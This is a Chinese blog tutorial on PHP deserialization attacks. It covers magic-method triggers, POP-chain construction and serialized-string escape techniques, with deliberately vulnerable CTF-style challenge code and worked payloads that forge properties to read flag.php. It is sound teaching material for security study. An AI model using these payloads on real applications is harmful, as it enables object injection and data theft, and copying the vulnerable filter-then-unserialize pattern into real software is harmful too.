php反序列化学习(2)

news2025/1/18 10:56:32

 1、魔术方法触发规则:

魔术方法触发的前提是:魔法方法所在类(或对象)被调用

分析代码,_wakeup()的触发条件是进行反序列化,_tostrinng()触发的条件是把对象当成字符串调用,但是魔术方法触发的前提是:魔法方法所在类(或对象)被调用,所以_wakeup()没有调用,echo将反序列化的对象当做字符串使用,则_tostrinng()被触发。如果要输出“tostring is here”就需要调用_tostrinng()函数,所以要在source中包含sec实例化的对象

构造得到payload

2、pop链构造与poc编写

pop链:

pop链就是利用魔法方法在里面实现多次跳转然后获取敏感数据的一种payload。

poc:中文译做概念验证,可以理解为漏洞验证程序,是一段不完整的代码(用于验证提出者观点)

首先分析代码,目标:触发echo,调用flag
第一步:触发invoke,调用append,并使Svar=flag.php(invoke触发条件:把对象当成函数)

给Sp赋值为对象,即function成为对象Modifier
却被当成函数调用,触发Modifier中的invoke

第二步:触发get,(触发条件:调用不存在的成员属性)给Sstr赋值为对象Test,而Test中不存在成员属性source,
则可触发Test里的成员方法get
第三步:触发toString (触发条件:把对象当成字符串)给Ssource赋值为对象Show,当成字符串被echo调用,触发toString

据此写出构造payload的代码

因为private属性所以要在前后加上%00后上传。

3、字符串逃逸:

字符减少:

反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸:一般在数据经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少时可能存在反序列化属性逃逸。

原因:

1、成员属性数量不对

2、成员属性名称长度不对

3、内容长度不对

在前面字符串没有问题的情况下,;}是反序列化的结束符,后面的字符串不影响反序列化结果。但是;}不一定都是结束符,是字符串还是格式符是由前面的数字判断的。

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';

    public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?> 

  分析:

  O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

    如果要逃逸123,就把前面的代码abc";s:2:"v2";s:3:"变成一个字符串

    思路:通过修改$v2的值123使后面的字符串变为功能性代码;s:2:"v3";N;}实现属性v2的逃逸

    O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:?:";s:2:"v3";N;}";}

   (字符串缺失导致格式被破坏,system()被吃掉,abc";s:2:"v长度为11; 令O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";})

  因此需要让123前面的代码abc";s:2:"v2";s:3:"成为一个字符串

    O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;}
   

一个system()可以替换掉8个字符,abc";s:2:"v2";s:xx:";长度为20,所以前面最少要吃掉3个system()

    O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:xx:";s:2:"v3";N;}";}

    abcsystem()system()syestem()的长度是27,吃掉后abc";s:2:"v2";s:xx:"长度为20,

    所以后面还要再补上7个字符,故:

    O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

所以,v1赋值为abcsystem()system()system();v2赋值为1234567";s:2:"v3";N;}

字符逃逸减少例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

要输出flag就需要if ($profile->vip){判断为真,因此在赋值时需要将其值改为true。

一:字符串过滤后减少还是增多
二:构造出关键成员属性序列化字符串
$vip=ture
三:变少则判断吃掉的内容,并计算长度
四:构造payload并输出

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}

flag被替换成hk,字符声减少会吃掉后面的结构代码

关键代码";s:3:"vip";b:1;}需要吃掉吃掉”:s:4"pass";s:3,$pass的值dun可控,可实现字符串逃逸。

但是这样的话成员属性就会减少一个,所以要多吃一个1,吃掉":s:4:"pass"'s:Xx:"1,这样总共吃了20位,flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补。

给关键成员属性赋值,得到初始序列化代码。

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'flag';
    var $pass = 'dun';
    var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>

用目标代码赋值($pass的值dun可控,可实现字符串逃逸。)

给pass赋值:1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}  (flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补

user赋值:flagflagflagflagflagflagflagflagflagflag

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'flagflagflagflagflagflagflagflagflagflag';
    var $pass = '1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}';
    var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>

字符增多:(例题)

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

首先观察代码发现替换后字符串增加

<?php
class test
{

    var $user = 'dun';
    var $pass = 'escaping';
}
echo serialize(new test());

?>

O:4:"test":2:{s:4:"user";s:3:"dun";s:4:"pass";s:8:"escaping";}

得到结果,";s:4:"pass";s:8:"escaping";}就是需要逃逸的内容,共有29个,每个hack替换一个php,则替换29个字符需要输入29个php,所以user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

<?php
class test
{

    var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
    var $pass = 'escaping';
}
//echo serialize(new test());

$a = serialize(new test());    
$a = str_replace("php","hack",$a);
echo $a;   

?>

O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}

总结:

反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1720000.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

运维系列.Linux下的用户管理

运维系列 Linux下的用户管理 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.net/qq_28550263/ar…

python实现BMP图像位图法隐藏信息

内容安全实验信息隐藏技术 使用位图法修改BMP图像隐藏信息 我们先了解一下BMP图像的信息 bmp图像文件头和图像信息表 位图法隐藏和传递信息 &#xff08;1&#xff09;本机首先将要隐藏和传递的原始信息记录下来 abc 。 &#xff08;2&#xf…

【康耐视国产案例】AI视觉相机创新 加速商超物流数智化转型

连锁商超/零售店正面临着因消费者购物习惯改变等挑战&#xff0c;迎来了以新兴技术崛起而催生的数字化物流体系转型需求。物流行业与AI机器视觉的深度融合&#xff0c;解决了传统机器视觉识别速度慢、环境要求高、定制化部署耗时过多等痛点&#xff0c;大大提高了物流供应链的效…

ai虚拟主播自动切换的实现

前段时间,看到b站突然冒出很多ai主播,输入数字切换小姐姐.感觉挺有趣.思考了以下决定手动实现一下. 然后就陷入长达5天的踩坑中 由于是自建的webrtc服务器,很自然的想直接收流转发,这也是最优的方案, 然而实际上遇到许多不是很友好的bug, 然后再想使用rtp转发,依然不理想. 最后…

思科防火墙 网线连接的端口还是down 已配置 端口还是down

环境&#xff1a; 思科防火墙fpr-2100 isco Firepower 2100 系列防火墙是思科系统&#xff08;Cisco Systems&#xff09;推出的一款中端网络安全和防火墙设备。这一系列的产品主要针对中到大型企业的需求&#xff0c;提供高性能的威胁防护和网络流量管理功能。 问题描述&am…

基于百度智能体平台快速搭建Java学习助手

文章目录 前言什么是文新智能体平台&#xff1f;Java学习助手智能体搭建智能体效果智能体入口文新智能体体验感受 前言 一个Java初学者在学习Java时可能不知道从哪下手&#xff0c;一个工作了3年的Java开发遇到瓶颈期不知如何提升自己&#xff0c;此时&#xff0c;如果有一个老…

CMake的原理与使用方法

一.为什么需要CMake&#xff0c;什么是CMake 1.由于各种make工具遵循不同的规范和标准&#xff0c;所执行的Makefile格式也不同&#xff0c;例如 GNU Make &#xff0c;QT 的 qmake &#xff0c;微软的 MS nmake&#xff0c;BSD Make&#xff08;pmake&#xff09;&#xff0c;…

2024年上半年系统架构设计师——案例第四题——智能汽车相关

写在前面 趁着还记得请&#xff0c;留个纪念。MongoDB的概念完全没记&#xff0c;综合下来只好选这个了。 这题基本上是有自动驾驶背景知识的人的福音&#xff0c;也是第一次考的和现代热点前沿技术相关的内容&#xff0c;而不是考些老嵌入式架构的&#xff08;上一次看到的还…

单片机串口接收负数的处理方法

dp80中有很多外设处理相关的都是有符号数据。 如dpm计算的结果&#xff0c;插入dpm后有时候会得到0xFFFFFFFE-2&#xff08;从调试界面也可以看到&#xff09;。

如何在Windows 10上更改默认系统字体,这里有详细步骤

Windows 10的默认系统字体Segoe UI看起来相当不错。但是,如果你有更好的替代品,你可以更改Windows 10 PC上的默认系统字体。我们将向你展示如何执行此操作。 如何使用注册表编辑器更改默认系统字体 在撰写本文时,“设置”和“控制面板”都没有更改默认系统字体的选项。这意…

信息素养大赛晋级复赛,你们都刷题库了吗?

2024年全国青少年信息素养大赛初赛成绩之前发布了&#xff0c;今天同学们可以查询是否晋级信息素养大赛复赛了&#xff0c;复赛应该会难度比较大&#xff0c;7月复赛&#xff0c;8月全国总决赛&#xff0c;据6547网题库获悉&#xff0c;今年初赛的人数近22万人。 查询方式&…

QT打包成exe文件运行(非安装包)

在QT Creator里面构建那里&#xff0c;点击Release构建完会生成类似这样的文件夹 文件生成的路径在项目概要里面 在该文件里面可以看到release文件夹&#xff0c;release进去后就可以看到有个exe文件&#xff0c;但是还需要导入一些三方库&#xff0c;目前点击会出现类似的错误…

解决bind error: Address already in use

是端口复用问题 产生原因 程序突然退出系统但是没有释放端口 问题解决 首先通过 //显示进程信息 ps -la //杀死相关进程 kill -9 xxxx然后添加socket设置 int on1; if(setsockopt(lfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on))<0){perror("setsockopt")…

【主动均衡和被动均衡】

文章目录 1.被动均衡2.主动均衡1.被动均衡 被动均衡一般通过电阻放电的方式,对电压较高的电池进行放电,以热量形式释放电量,为其他电池争取更多充电时间。这样整个系统的电量受制于容量最少的电池。充电过程中,锂电池一般有一个充电上限保护电压值,当某一串电池达到此电压…

三十二篇:转化决策为行动:探索决策支持系统的深层价值

转化决策为行动&#xff1a;探索决策支持系统的深层价值 1. DSS的精髓&#xff1a;定义与核心功能 1.1 定义与作用 在现代商业的快速演变中&#xff0c;决策支持系统&#xff08;Decision Support Systems, DSS&#xff09;已成为企业获得竞争优势的重要工具。DSS是一种利用先…

golang语言的gofly快速开发框架如何设置多样的主题说明

本节教大家如何用gofly快速开发框架后台内置设置参数&#xff0c;配置出合适项目的布局及样式、主题色&#xff0c;让你您的项目在交互上加分&#xff0c;也是能帮你在交付项目时更容易得到客户认可&#xff0c;你的软件使用客户他们一般都是不都技术的&#xff0c;所以当他们拿…

Jmeter实战教程入门讲解

前言 通过前面对Jmeter元件的讲解&#xff0c;大家应该都知道常用元件的作用和使用了。编写Jmeter脚本前我们需要知道Jmeter元件的执行顺序&#xff0c;可以看看我这篇性能测试学习之路&#xff08;三&#xff09;—初识Jmeter来了解下。下面我将以工作中的一个简单的实例带大…

基于开源项目ESP32 SVPWM驱动无刷电机开环速度测试

基于开源项目ESP32 SVPWM驱动无刷电机开环速度测试 ✨本篇硬件电路和代码来源于此开源项目&#xff1a;https://github.com/MengYang-x/STM3F401-FOC/tree/main&#x1f4cd;硬件电路和项目介绍&#xff0c;立创开源广场&#xff1a;https://oshwhub.com/shadow27/tai-yang-nen…

http协议及httpd安装组成

文章目录 一、http协议http协议通信过程http相关技术网站访问量HTTP工作机制HTTP协议版本HTTP请求访问的完整过程HTTP报文头部响应报文 二、httpd安装组成apache介绍和特点工作模式&#xff08; MPM multi-processing module &#xff09;Http相关文件Http编译安装httpd常见配置…

SqlServer还原系统库步骤及问题解决

还原master 需要切换到binn目录 Cd C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn 关闭服务 用单用户模式启动 SQL Server 默认实例 sqlservr.exe -m 直接单用户登录 恢复master备份文件 RESTORE DATABASE master FROM DISK E:\dbbak\txic_ke…